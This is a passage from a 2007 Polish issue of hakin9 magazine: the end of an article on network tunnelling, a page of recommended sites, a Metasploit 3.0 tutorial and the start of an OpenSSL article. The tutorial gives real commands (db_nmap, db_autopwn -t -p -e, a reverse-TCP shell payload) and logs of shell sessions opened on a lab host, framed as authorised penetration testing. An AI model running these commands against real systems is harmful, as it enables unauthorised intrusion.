formatyki na AGH. Administrator amatorskich sieci komputerowych. Zarówno w pracy, 
jak i w życiu prywatnym interesuje się programowaniem oraz bezpieczeństwem apli-
kacji sieciowych. 
Kontakt z autorem: kamalewski@gmail.com

W Sieci 

•  http://linux-igd.sourceforge.net/ - Tutaj znajdziemy demona IGD pod Linux.
•  http://pupnp.sourceforge.net/ - Biblioteka oraz SDK, potrzebne do uruchomienia 

IGD.

•  http://miniupnp.free.fr/  -  Klient  IGD,  za  pomocą  którego  możemy  konfigurować 

przekierowania.

•  http://www.upnp.org/download/UPnPDA10_20000613.html – Dokument opisują-

cy szczegółowo architekturę UPnP 

•  http://www.hamachi.cc/ - Strona producenta programu Hamachi wykorzystywa-

nego do tworzenia tuneli na potrzeby gier.

•  http://www.detached.net/mailtunnel.html - Program służący do tunelowania połą-

czeń TCP w  przesyłkach email.

•  http://home.agh.edu.pl/~koyot/mailtunnel/mailtunnel-0.3.tar.gz  -  zmodyfikowana 

na potrzeby stworzenia VPN-a wersja programu Mailtunnel

•  http://gray-world.net/tools/ftp-tunnel.tgz – program do tunelowania za pomocą FTP.
•  http://www.dest-unreach.org/socat/ -  program przekazujący dane pomiędzy róż-

nymi źródłami.

•  ftp://sunsite.unc.edu/pub/Linux/system/network/misc/udprelay-linux.tgz  –  UDP 

bouncer 

•  http://sourceforge.net/projects/proxytunnel/
•  http://www.nocrew.org/software/httptunnel.html
•  http://gray-world.net/tools/icmptunnel.tar.gz
•  http://www.slac.stanford.edu/xorg/nmtf/nmtf-tools.html  –  Lista  narzędzi  służą-

cych do monitorowania sieci i nie tylko

•  http://www.geocities.com/fryxar/
•  http://www.multicians.org/timing-chn.html  –  Ukryte  kanały,  które  wykorzystują 

zdarzenia czasowe do przekazania informacji.

•  http://sp9wun.republika.pl/linux/shaperd_cbq.html – Strona domowa demona, za 

pomocą którego ustawimy „sprawiedliwy podział łącza”

background image

To portal wydawnictwa CSH Na tej stronie moż-

na znaleźć garść potrzebnych informacji: aktu-

alności ze świata informatycznego, jest także 

możliwość pobrania filmu szkoleniowego.

http://www.szkolahakerow.pl

Portal poświęcony aktualnościom, artykułom ze 

świata informatycznego. Zawiera ciekawe linki, 

gry on-line i wiele innych interesujących wiado-

mości.

http://www.hackme.pl

Portal  poświęcony  aktualnościom,  artykułom 

ze  świata  informatycznego.  Zawiera  ciekawe 

linki, gry on-line i wiele innych interesujących 

wiadomości.

http://www.linuxstorm.org

Strona  zawiera  ogłoszenia  pracy  na  stanowi-

ska związane z branżą IT

http://www.pracait.com

Misją Infoprof jest zrozumienie potrzeb klienta 

i taki dobór usług by jak najlepiej spełniały one 

jego oczekiwania, jednocześnie nie narażając 

go na niepotrzebne koszty..

http://www.infoprof.pl

Strona  firmy  komputerowej,  która  dostarcza 

profesjonalne rozwiązania informatyczne, któ-

re  polegaja  na  kompleksowym  dostarczaniu 

doradztwa, usług i sprzętu komputerowego.

http://www.dkmgroup.pl

Serwis  informacyjny,  na  którym  znajdują  się 

najświeższe aktualności i artykuły, można za-

logować  się  na  forum  i  podyskutować  z  cie-

kawymi  osobami  na  interesujące  tematy.

                                   

http//www.cc-team.org

Misją serwisu jest dostarczanie informacji z za-

kresu szeroko pojętej informatyki. Zawiera naj-

świeższe informacje z rynku informatycznego i 

recenzje czasopism: Hakin9, php solution, sdj

http://www.itnews.icx.pl

Grupa młodych ludzi chętnych do pracy stwo-

rzyła ten portal w celu rozreklamowania się. Ich 

firma zajmuję się kompleksową usługą związa-

ną z promowaniem stron WWW.

 http://www.webgroup.net.pl

Strony

 polecane >>>

Strony

 polecane

Portal  poświęcony  zdalnym  rozwiązaniom  IT, 

świadczone usługi są dyskretne i dokładne.

http://www.xesit.pl

Portal zajmującymi się następującymi usługa-

mi:instalacja,  serwis  i  administrowanie  siecia-

mi komputerowymi.Budowa serwerów, likwida-

cja wirusów, spyweru, trojanów itp

http://www.mikroserwis.webpark.pl

ArComTech to firma informatyczna wspierają-

ca  rozwój  przedsiębiorstw  poprzez  umiejętne 

zastosowanie wiedzy i doświadczenia oraz no-

woczesnych rozwiązań biznesowych

http//www.arcomtech.pl

background image

www.hakin9.org

hakin9 Nr 4/2007

60

Obrona

P

rzed  kilkoma  miesiącami  pokazała  się 
nowa  beta  wersja  Metasploit  3.0.  Wer-
sja 3.0 znacznie różni się od wersji po-

przedniej,  przede  wszystkim  całość  przepisa-
na została do języka programowania Ruby. Po-
wodów,  dla  których  autorzy  tak  uczynili  jest 
więcej: niezależność od architektury systemu, 
wspieranie threadingu (włókien), a także to, że 
autorzy Metasploit mają opanowany język pro-
gramowania Ruby i dobrze im się z nim pracu-
je. Dla nas użytkowników jednak ten fakt nicze-
go  nie  zmienia  i  Metasploit  pozostaje  przede 
wszystkim  narzędziem  dla  oceny  podatności 
systemów na włamanie.

Jak podane zostało na stronie głównej pro-

jektu, głównymi celami wersji 3.0 są:

●   usprawnienie  automatyzacji  exploitowania 

za pomocą skryptów,

●   uproszczenie  procesu  tworzenia  własnych 

exploitów,

●   umożliwienie ponownego użycia kodu z in-

nych exploitów,

●   zaprowadzenie nowych technik exploitowa-

nia i ulepszanie technik już istniejących,

●   umożliwienie  automatycznego  wyszukiwania 

w sieci przy użyciu dodatkowego modułu,

●   udoskanalanie    środowiska  rozwoju  tak, 

aby  było  dla  użytkownika  jeszce  bardziej 
przyjazne.

Najlepszą  inowacją  zastosowaną  w  nowej 
wersji  jest  możliwość  automatycznego  prze-
szukiwania  sieci  za  pomocą  zabudowanych 
modułów.  Oznacza  to,  że  w  celu  przeszu-
kiwania  sieci  możemy  użyć  urządzeń  nmap 
(ze  wszystkimi  znanymi  przełącznikami),  za-
pisać wyniki w bazie danych, a potem szukać 
dziur  w  systemach  i  usługach,  które  zyskali-

Metasploit – Exploiting 

framework

Michal Merta

stopień trudności

Chcesz wiedzieć czy twój system jest dostatecznie zabezpieczony? 

Chcesz się nauczyć używania prostego narzędzia, by to stwierdzić? 

Chciałbyś tworzyć swoje własne exploity w prostym środowisku 

rozwoju? Chcesz zaoszczędzić na produktach komercyjnych i użyć 

tych pieniędzy w bardziej odpowiedni sposób? Jeśli tak, to ten 

artykuł jest przeznaczony dla ciebie.

Czego się nauczysz...

•   na czym polega exploiting,
•   jak używać  Metasploit,  
•   jak exploitować daną usługę za pomocą Meta-

sploit.

Co powinieneś wiedzieć...

•   protokoły TCP/IP,
•   podstawy pracy z bazą danych i językiem pro-

gramowania SQL,

•    Linux i jego środowisko.

background image

Metasploit – Exploiting framework 

hakin9 Nr 4/2007

www.hakin9.org

61

śmy  podczas  przeszukiwania  sieci 
(praktyczny przykład podany zosta-
nie  poniżej).

Jak  zaistalować  i  uruchomić 

Metasploit  (choćby  tylko  dlate-
go, że proces instalacji jest w każ-
dym systemie inny), nie trzeba tłu-
maczyć.  W  każdym  razie  trzeba 
mieć  zainstalowany  pakiet  Ruby-

Gems,  Ruby  sterownik  umożliwia-
jący pracę z bazą danych oraz ba-
zę  danych.  Poniżej  podane  zosta-
ły wyjścia wygenerowane na kom-
puterze,  który  pracuje  pod  syste-
mem operacyjnym Linux, dystrybu-
cją Gentoo z jądrem 2.6.15 i na ba-
zie danych PostgreSQL.

Zanim rozpoczniemy pracę z Me-

tasploitem, wskazana jest aktualiza-
cja programu i wszystkich jego czę-
ści  składowych  łącznie  z  modułami 
na  wersję  najnowszą  –  Metasploit 
oferuje  nam  możliwość  użycia  sub-

version  klienta  –  więcej  informacji 
szukaj na stronach Metasploit. 

Na początek polecam uruchomić 

msfconsole i spróbować zorientować 
się w środowisku Metasploit oraz w 
jego poleceniach:

msf > load db_postgres
[*] Successfully loaded plugin:
db_postgres
msf >

Za pomocą polecenia  load db_post-

gres nagramy wsparcie dla Postgre-
SQL  do  Metasploit  i    zostaną  nam 
ujawnione  następne  polecenia,  któ-
rych można użyć.

Polecenie  db_nmap  -sS  -P0  -O 

10.0.0.0/24 umożliwi nam za pomocą 
ICMP pingów zmapować lokalną sieć 
z powłoką 24 przy użyciu półotwartych 
połączeń  (half  open  SYN  scan)  bez 
sprawdzania trwałości urządzeń. God-
nym uwagi jest to, że  db_nmap działa 
praktycznie tak samo jak nmap – tak, 
można używać wszystkich przełączni-
ków nmapa tak jak zawsze, wyniki ma-
powania (maszyny, uruchomione usłu-
gi) zostaną zapisane w bazie danych. 
Polecenia  db_hosts i db_services po-
każą wyniki mapowania (otwarte porty 
i znalezione stacje).

Listing 1. 

Struktura bazy 

danych PostgreSQL 

localhost

=

# \dt

           

List

 

of

 

relations

 

Schema

 

|

    

Name

    

|

 

Type

  

|

  

Owner

--------+--------------+-------+--

--------

 

public

 

|

 

hosts

          

|

 

table

  

|

 

postgres

 

public

 

|

 

refs

            

|

 

table

  

|

 

postgres

 

public

 

|

 

services

     

|

 

table

  

|

 

postgres

 

public

 

|

 

vulns

         

|

 

table

  

|

 

postgres

 

public

 

|

 

vulns_refs

 

|

 

table

  

|

 

postgres

(

5

 

rows

)

localhost

=

# select * from hosts;

 

id

 

|

  

address

     

|

 

comm

 

|

 

name

 

|

  

state

   

|

 

info

----+------------+------+------+--

----------+----

  

1

 

|

 

10.0

.

0.1

     

|

         

|

          

|

 

unknown

 

|

  

2

 

|

 

10.0

.

0.46

   

|

         

|

          

|

 

unknown

 

|

  

3

 

|

 

10.0

.

0.2

     

|

         

|

          

|

 

unknown

 

|

  

4

 

|

 

10.0

.

0.200

 

|

         

|

          

|

 

unknown

 

|

(

4

 

rows

)

localhost

=

#

Listing 2. 

Wyjścia poleceń db_hosts i db_services 

msf

 

>

 

db_hosts

[*]

 

Host

:

 

10.0

.

0.1

[*]

 

Host

:

 

10.0

.

0.46

[*]

 

Host

:

 

10.0

.

0.2

[*]

 

Host

:

 

10.0

.

0.200

msf

 

>

 

db_services

[*]

 

Service

:

 

host

=

10.0

.

0.1

 

port

=

135

 

proto

=

tcp

 

state

=

up

 

name

=

msrpc

[*]

 

Service

:

 

host

=

10.0

.

0.1

 

port

=

139

 

proto

=

tcp

 

state

=

up

 

name

=

netbios

-

ssn

[*]

 

Service

:

 

host

=

10.0

.

0.1

 

port

=

445

 

proto

=

tcp

 

state

=

up

 

name

=

microsoft

-

ds

[*]

 

Service

:

 

host

=

10.0

.

0.1

 

port

=

902

 

proto

=

tcp

 

state

=

up

 

name

=

iss

-

realsecure

-

sensor

[*]

 

Service

:

 

host

=

10.0

.

0.1

 

port

=

80

 

proto

=

tcp

 

state

=

up

 

name

=

http

[*]

 

Service

:

 

host

=

10.0

.

0.1

 

port

=

443

 

proto

=

tcp

 

state

=

up

 

name

=

https

[*]

 

Service

:

 

host

=

10.0

.

0.2

 

port

=

21

 

proto

=

tcp

 

state

=

up

 

name

=

ftp

[*]

 

Service

:

 

host

=

10.0

.

0.2

 

port

=

22

 

proto

=

tcp

 

state

=

up

 

name

=

ssh

[*]

 

Service

:

 

host

=

10.0

.

0.2

 

port

=

25

 

proto

=

tcp

 

state

=

up

 

name

=

smtp

[*]

 

Service

:

 

host

=

10.0

.

0.2

 

port

=

80

 

proto

=

tcp

 

state

=

up

 

name

=

http

[*]

 

Service

:

 

host

=

10.0

.

0.2

 

port

=

139

 

proto

=

tcp

 

state

=

up

 

name

=

netbios

-

ssn

[*]

 

Service

:

 

host

=

10.0

.

0.2

 

port

=

445

 

proto

=

tcp

 

state

=

up

 

name

=

microsoft

-

ds

[*]

 

Service

:

 

host

=

10.0

.

0.46

 

port

=

135

 

proto

=

tcp

 

state

=

up

 

name

=

msrpc

[*]

 

Service

:

 

host

=

10.0

.

0.46

 

port

=

139

 

proto

=

tcp

 

state

=

up

 

name

=

netbios

-

ssn

[*]

 

Service

:

 

host

=

10.0

.

0.46

 

port

=

445

 

proto

=

tcp

 

state

=

up

 

name

=

microsoft

-

ds

[*]

 

Service

:

 

host

=

10.0

.

0.46

 

port

=

1025

 

proto

=

tcp

 

state

=

up

 

name

=

NFS

-

or

-

IIS

[*]

 

Service

:

 

host

=

10.0

.

0.46

 

port

=

5000

 

proto

=

tcp

 

state

=

up

 

name

=

UPnP

[*]

 

Service

:

 

host

=

10.0

.

0.200

 

port

=

80

 

proto

=

tcp

 

state

=

up

 

name

=

http

[*]

 

Service

:

 

host

=

10.0

.

0.200

 

port

=

8080

 

proto

=

tcp

 

state

=

up

 

name

=

http

-

proxy

msf

 

>

Rysunek 1. 

Expolit

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

62

Pomyślnie zapełniliśmy bazę da-

nych, teraz możemy rozpocząć wła-
ściwy proces exploitowania.

Exploiting

Zanim  jednak  rozpoczniemy,  trzeba 
dobrze  przemyśleć  czy  exploitowa-
nie nie przyniesie nam więcej szko-
dy  niż  pożytku.  Nigdy  nie  podejmuj 
się  exploitowania  czegoś,  do  czego 
nie masz uprawnień!

Terminologia

Podatnośc  systemu  na  włamanie  to 
zbiór  jego  luk  w  zabezpieczeniu  (na 
przykład  konkretne  aplikacje  –  więk-
szością chodzi o błąd w naprogramo-
waniu),  przy  czym  przy  użyciu  odpo-
wiednich  technik  czy  narzędzi  włamy-
wacz potrafi naprzykład wprawić w sys-
tem  kawał  złośliwego  kodu,  odczyty-
wać czy zmieniać dane w systemie, ob-
serwować ruch w sieci itp.

Exploit to kawałek kodu (software) 

albo  zestaw  poleceń  wykorzystujący 
luki w zabezpieczeniu systemu, inaczej 
powiedziawszy jest to aplikacja wytwo-
rzona w celu uzyskania kontroli nad da-
nym systemem czy w celu spowodowa-
nia  niedostępności  usługi  dla  okolicy 
(tzw. denial of service).

Ocena  podatności  systemu  na 

włamanie  to  proces  odnajdywania 
najsłabszych miejsc w zabezpiecze-
niu danego systemu i następne oce-
nianie  ich  powagi.  Systemem  pod-
danym  badaniom  może  być  naprzy-
kład  budowla  (elektrownia  jądrowa), 
wodociąg,  serwer  czy  sieć  kompu-
terowa. 

Testem  penetracyjnym  nazywamy 

metodę oceny zabezpieczenia kompu-
tera czy sieci komputerowej przy uży-
ciu w tym celu sposobów, których uży-
wał by włamywacz. Składa się z więk-
szej ilości kroków – od dokładnego ba-
dania  systemu  aż  po  odnalezienie  je-
go  najsłabszego  miejsca.  Zadaniem 
testera penetracyjnego jest stwierdze-
nie  możliwych  sposobów  zaatakowa-
nia systemu (wystarczy odnaleźć jeden 
słaby punkt).

Ludzie  często  zamieniają  pojęcia 

exploit  i  podatność  systemu  na  wła-
manie 
czy proces oceny podatności na 
włamanie  
z  testowaniem  penetracyj-
nym
. Upewnij się więc, że te pojęcia ro-
zumiesz, dla zrozumienia następujące-
go tekstu jest to niezbędne.

Listing 3. 

Użycie polecenia db_autopwn 

msf

 

>

 

db_autopwn

 

[*]

 

Usage

:

 

db_autopwn

 

[

options

]

        

-

t

   

Show

 

all

 

matching

 

exploit

 

modules

        

-

x

   

Select

 

modules

 

based

 

on

 

vulnerability

 

references

        

-

p

   

Select

 

modules

 

based

 

on

 

open

 

ports

        

-

e

   

Launch

 

exploits

 

against

 

all

 

matched

 

targets

        

-

s

   

Only

 

obtain

 

a

 

single

 

shell

 

per

 

target

 

system

        

-

r

   

Use

 

a

 

reverse

 

connect

 

shell

        

-

b

   

Use

 

a

 

bind

 

shell

 

on

 

a

 

random

 

port

        

-

h

   

Display

 

this

 

help

 

text

Listing 4a. 

Właściwy proces exploitowania

msf

 

>

 

db_autopwn

 

-

t

 

-

p

 

-

e

[*]

 

Analysis

 

completed

 

in

 

1.20325303077698

 

seconds

 

(

0

 

vulns

 / 

0

 

refs

)

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms04_031_netdde

 

against

 

10.0

.

0.46

:

135

...

[*]

 

Launching

 

exploit

/

windows

/

smb

/

ms04_031_netdde

 

(

1

/

16

)

 

against

 

10.0

.

0.46

:

135

...

[*]

 

Started

 

bind

 

handler

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms04_007_killbill

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Matched

 

exploit

/

osx

/

samba

/

trans2open

 

against

 

10.0

.

0.46

:

139

...

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms06_025_rasmans_reg

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Matched

 

auxiliary

/

dos

/

windows

/

smb

/

rras_vls_null_deref

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms06_025_rras

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms06_066_nwapi

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Launching

 

exploit

/

windows

/

smb

/

ms06_066_nwapi

 

(

7

/

16

)

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Started

 

bind

 

handler

[*]

 

Connecting

 

to

 

the

 

SMB

 

service

...

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms06_040_netapi

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Launching

 

exploit

/

windows

/

smb

/

ms06_040_netapi

 

(

8

/

16

)

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Started

 

bind

 

handler

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms04_011_lsass

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Launching

 

exploit

/

windows

/

smb

/

ms04_011_lsass

 

(

9

/

16

)

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Started

 

bind

 

handler

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms06

066

_nwwks

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Launching

 

exploit

/

windows

/

smb

/

ms06

066

_nwwks

 

(

10

/

16

)

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Started

 

bind

 

handler

[*]

 

Connecting

 

to

 

the

 

SMB

 

service

...

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms05_039_pnp

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Launching

 

exploit

/

windows

/

smb

/

ms05

039

_pnp

 

(

11

/

16

)

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Binding

 

to

 

e67ab081

-

9844

-

3521

-

9

d32

-

834

f038001c0

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

srvsvc

]

 ...

[*]

 

Started

 

bind

 

handler

background image

Metasploit – Exploiting framework 

hakin9 Nr 4/2007

www.hakin9.org

63

Polecenie  db_autopwn  jest  naj-

ważniejsze w całym środowisku Me-
tasploit.  Potrafi  na  przykład  spraw-
dzić wszystkie maszyny, usługi w ba-
zie danych i na podstawie tych infor-
macji wytworzyć spis exploitów, któ-
re  mogłyby  efektywnie  wykorzystać 
słabe  miejsca  w  systemie,  o  ile  ja-
kieś istnieją.

Uruchomieniem  db_autopwn  -p 

-t  -e  rozpoczniemy  proces  exploito-
wania i zaczekamy na wyniki. Czas 
trwania całego procesu jest zależny 
od ilości maszyn i usług w bazie da-
nych – Listing 4.

Gotowe. Polecenie sessions po-

każe nam czy proces przebiegł po-
myślnie  czy  też  nie.  Kiedy  bardziej 
uważnie popatrzymy na wyjście po-
lecenia  db_autopwn,  możemy  sam 
ocenić pomyślność procesu.

Popatrzmy  na  Listing  5  -  “udało 

się” - 3 exploity zaowocowały. Ozna-
cza to prawdopodobnie, że maszyna  
10.0.0.46  nie  jest  porządnie  zabez-
pieczona.  Pomiędzy  poszczególnymi 
połączeniami  można  przełączać  się 
za pomocą polecenia  sessions -i X, 
gdzie to ID aktywnego połączenia.

Którą wersję wybrać?

A  więc  jakie  są  różnice  między  wer-
sją 2.X i 3.X? W wersji 2.X oczywi-
ście też można exploitować poszcze-
gólne maszyny, nie można jednak w 
tak  prosty  sposób  exploitować  całej 
sieci  tak,  jak  zostało  to  opisane  po-
wyżej. Wsparcie dla bazy danych i z 
tym związanych poleceń jest zabudo-
wane tylko w wersji 3. Pokażę teraz, 
w  jaki sposób postępować przy uży-
waniu wersji 2.X. Najpierw trzeba wy-
brać odpowiedni exploit. Dla orientacji 
w  poszczególnych  exploitach  posłu-
ży nam polecenie show exploits, które 
wypisze wszystkie możliwe dostępne 
exploity (także te własne, o ile jakieś 
zostały napisane).

Ze  spisu  wybierzemy  ten  wła-

ściwy  i  za  pomocą  polecenia    use 

XXX  (XXX  to  nazwa  exploita)  zo-
stanie  uruchomiony  specjalny  tryb 
exploit, w ramach którego ustawimy 
możliwości  dla  konkretnego  explo-
ita. Dla przykładu wybraliśmy explo-
it ms03_026_dcom, jego możliwości 
są ukazane na Listingu 6.

Listing 4b. 

Właściwy proces exploitowania

[*]

 

Connecting

 

to

 

the

 

SMB

 

service

...

[*]

 

Matched

 

exploit

/

windows

/

dcerpc

/

ms03_026_dcom

 

against

 

10.0

.

0.46

:

135

...

[*]

 

Launching

 

exploit

/

windows

/

dcerpc

/

ms03

026

_dcom

 

(

12

/

16

)

 

against

 

10.0

.

0.46

:

135

...

[*]

 

Binding

 

to

 3919286

a

-

b10c

-

11

d0

-

9

ba8

-

00

c04fd92ef5

:

0.0

@

ncacn_np

:

10.0

.

0.46

[

\

lsarpc

]

...

[*]

 

Detected

 

a

 

Windows

 

XP

 

SP0

/

SP1

 

target

[*]

 

Binding

 

to

 4

b324fc8

-

1670

-

01

d3

-

1278

-

5

a47bf6ee188

:

3.0

@

ncacn_np

:

10.0

.

0.46

[

\

BROWSER

]

 ...

[*]

 

Started

 

bind

 

handler

[*]

 

Trying

 

target

 

Windows

 

NT

 

SP3

-

6

a

/

2000

/

XP

/

2003

 

Universal

...

[*]

 

Binding

 

to

 4

d9f4ab8

-

7

d1c

-

11

cf

-

861

e

-

0020

af6e7c57

:

0.0

@

ncacn_ip_tcp

:

10.0

.

0.46

[

135

]

 ...

[*]

 

Matched

 

auxiliary

/

dos

/

windows

/

smb

/

ms06_063_trans

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Binding

 

to

 

e67ab081

-

9844

-

3521

-

9

d32

-

834

f038001c0

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

nwwks

]

 ...

[*]

 

Bound

 

to

 4

d9f4ab8

-

7

d1c

-

11

cf

-

861

e

-

0020

af6e7c57

:

0.0

@

ncacn_ip_tcp

:

10.0

.

0.46

[

135

]

 ...

[*]

 

Matched

 

exploit

/

windows

/

smb

/

ms

03

_049_netapi

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Launching

 

exploit

/

windows

/

smb

/

ms03_049_netapi

 

(

14

/

16

)

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Bound

 

to

 4

b324fc8

-

1670

-

01

d3

-

1

278

-

5

a47bf6ee188

:

3.0

@

ncacn_np

:

10.0

.

0.46

[

\

BROWSER

]

 ...

[*] Started bind handler

[*]

 

Binding

 

to

 8

d9f4e40

-

a03d

-

11

ce

-

8

f69

-

08003

e30051b

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

browser

]

 ...

[*]

 

Bound

 

to

 3919286

a

-

b10c

-

11

d0

-

9

ba8

-

00

c04fd92ef5

:

0.0

@

ncacn_np

:

10.0

.

0.46

[

\

lsarpc

]

...

[*]

 

Building

 

the

 

stub

 

data

...

[*]

 

Getting

 

OS

 

information

...

[*]

 

Calling

 

the

 

vulnerable

 

function

...

[*]

 

Matched

 

exploit

/

solaris

/

samba

/

trans2open

 

against

 

10.0

.

0.46

:

139

...

[*]

 

Launching

 

exploit

/

solaris

/

samba

/

trans2open

 

(

15

/

16

)

 

against

 

10.0

.

0.46

:

139

...

[*]

 

Sending

 

exploit

 ...

[*]

  

>>

 

Exception

 

during

 

launch

 

from

 

exploit

/

solaris

/

samba

/

trans2open

:

 

A

 

target

 

has

 

not

 

been

 

selected

.

[*]

 

Matched

 

auxiliary

/

dos

/

windows

/

smb

/

ms06_035_mailslot

 

against

 

10.0

.

0.46

:

445

...

[*]

 

Trying

 

to

 

exploit

 

Windows

 

5.1

msf

 

>

 

[*]

 

Command

 

shell

 

session

 

2

 

opened

 

(

10.0

.

0.2

:

57153

 

->

 

10.0

.

0.46

:

19530

)

[*]

 

The

 

DCERPC

 

service

 

did

 

not

 

reply

 

to

 

our

 

request

[*]

 

Command

 

shell

 

session

 

3

 

opened

 

(

10.0

.

0.2

:

59665

 

->

 

10.0

.

0.46

:

38489

)

[*]

 

Binding

 

to

 6

bffd098

-

a112

-

3610

-

9833

-

46

c3f87e345a

:

1.0

@

ncacn_np

:

10.0

.

0.46

[

\

BROWSER

]

 ...

background image

hakin9 Nr 4/2007

www.hakin9.org

Obrona

64

Zmienne RHOST RPORT są obo-

wiązkowe i muszą zostać zdefiniowa-
ne. Domyślna wartość RPORT to 135. 
A więc wystarczy zdefiniować zmien-
ną  RHOST  i  wybrać  payload,  które-
go  użyjemy.  Podobnie  jak  dla  wypi-
sania możliwości danego exploita, ist-
nieje również polecenie, które wypisze 
na ekranie payloady, których możemy 
użyć – show payloads. Wybierzemy na 
przykład payload  shell_reverse_tc:

set PAYLOAD windows/shell_reverse_tcp

O  ile  wypełniliśmy  wszystkie  obo-
wiązkowe  możliwości  używanego 
exploita  (mogą  się  one  różnić),  za 
pomocą  polecenia  exploit  możemy 
rozpocząć  exploitowanie  danej  ma-
szyny. 

Na Rysunku 1. widać, jak exploit 

przez nas wybrany, pomyślnie wyko-
rzystał luki w systemie, który podda-
liśmy testowi. 

Nasz  exploit  wykorzystał  luki  w 

systemie  i  wytworzył  TCP  połącze-
nie z maszyną  10.0.0.46, przez co 

uzyskaliśmy kontrolę nad linią pole-
ceń.

Zakończenie

Nasza praca dobiegła końca. Można 
oczywiście  utworzyć  lokalnego  użyt-
kownika, zmienić ustawienia registrów 
itp. Naszym celem jednak było wyszu-
kanie  niezałatanych  systemów  w  lo-
kalnej  sieci,  co  udało  nam  się  osią-
gnąć.  Następnym  krokiem  powinno 
być  załatanie  wszystkich  wyszuka-
nych luk w systemie.

Do  nas  należy  decyzja,  w  jaki 

sposób  używać  Metasploit,  z  której 
wersji  skorzystać;  2  czy  3.  Jednak 
przy  użyciu  wsparcia  dla  bazy  da-
nych  w  wersji  3  nasza  praca  stanie 
się o wiele prostsza. Metasploit Fra-
mework to znakomite narzędzie, które 
pomoże nam przy identyfikacji ryzyk 
w zabezpieczeniu naszych sieci i sys-
temów. Jednak jest jeszcze nad czym 
popracować,  niełatwo  pisać  własne 
exploity – trzeba znać podstawy języ-
ka  programowania  Ruby.  Nie  można 
też zapominać o tym, że wersja 3 nie 
jest jeszcze wersją stabilną. l

Listing 4c. 

Właściwy proces exploitowania

[*]

 

Unexpected

 

DCERPC

 

fault

 

0x000006f7

[*]

 

Bound

 

to

 6

bffd098

-

a112

-

3610

-

9833

-

46

c3f87e345a

:

1.0

@

ncacn_

np

:

10.0

.

0.46

[

\

BROWSER

]

 ...

[*]

 

Building

 

the

 

stub

 

data

...

[*]

 

Calling

 

the

 

vulnerable

 

function

...

[*]

 

Command

 

shell

 

session

 

4

 

opened

 

(

10.0

.

0.2

:

58291

 

->

 

10.0

.

0.46

:

38218

)

Listing 5. 

Otwarte połączenie uzyskane za pomocą exploitowania

msf

 

>

 

sessions

 

-

l

Active

 

sessions

===============

  

Id

  

Description

        

Tunnel

  

--

   

-----------

             

------

  

2

   

Command

 

shell

  

10.0

.

0.2

:

57153

 

->

 

10.0

.

0.46

:

19530

  

3

   

Command

 

shell

  

10.0

.

0.2

:

59665

 

->

 

10.0

.

0.46

:

38489

  

4

   

Command

 

shell

  

10.0

.

0.2

:

58291

 

->

 

10.0

.

0.46

:

38218

Listing 6. 

Możliwości  ms03_026_dcom 

msf

 

exploit

(

ms03_026_dcom

)

 

>

 

show

 

options

Module

 

options

:

   

Name

     

Current

 

Setting

  

Required

  

Description

   

----

             

---------------

     

----

----

     

-----------

   

Proxies

                                 

no

         

proxy

 

chain

   

RHOST

                                

yes

       

The

 

target

 

address

   

RPORT

             

135

             

yes

       

The

 

target

 

port

   

SSL

                                      

no

        

Use

 

SSL

msf

 

exploit

(

ms03_026_dcom

)

 

>

W Sieci

•  http://www.metasploit.com/  strona 

domowa projektu Metasploit,

•  http://en.wikipedia.org – Wikipedia,
•  http://subversion.tigris.org/ –  stro-

na domowa projektu Subversion,

•  http://www.ruby-lang.org/en  –  ję-

zyk programowania Ruby.

O autorze

Michal Merta zajmuje się bezpieczeń-
stwem  sieci,  testowaniem  penetracyj-
nym i ocenianiem zabezpieczenia sys-
temów.  Ukończył  informatykę  na  uni-
wersytecie  w  Brnie.  Aktualnie  pracu-
je  dla  międzynarodowej  spółki  w  Pra-
dze  jako  Security  Assessment  and 
Compliance  Senior  Consultant.  Inte-
resuje  się  także  systemami  na  bazie 
UNIXa,  polityką  bezpieczeństwa  m.in. 
ISO27001  i  systemami  detekcji  wła-
mań.  Z  Metasploitem  pracuje  już  pra-
wieże dwa lata. Jego stronę interneto-
wą można znaleźć pod adresem  http:
//www.misuta.cz

background image
background image

www.hakin9.org

hakin9 Nr 4/2007

66

Obrona

N

ajbardziej  popularnym  i  skutecznym 
rozwiązaniem, zdaje się tu ciągle  oka-
zywać  szyfrowanie  SSL  (ang.  Secure 

Socket  Layer)  względnie  rozwijane  dalej  pod 
nazwą TLS (ang. Transport Layer Security) za 
pomocą  wolnodostępnej  biblioteki  OpenSSL, 
co wykorzystuje większość kluczowych aplika-
cji sieciowych jak Apache, Postfix, OpenSSH. 
Pakiet OpenSSL składa się generalnie z trzech 
składników:

•   biblioteka  libssl  –  obsługuje  protokół  SSL/

TLS;

•   biblioteka libcrypto – zawiera obsługę algo-

rytmów kryptograficznych;

•   polecenie openssl – narzędzie administra-

cyjne  pozwalające  w  linii  poleceń  skorzy-
stać z wymienionych wyżej bibliotek.

Protokół SSL/TLS składa się z trzech faz:

•   negocjacja algorytmów;
•   wymiana kluczy symetrycznych przy pomo-

cy  infrastruktury  klucza  publicznego  (PKI) 
i uwierzytelnianiu opartym na certyfikatach;

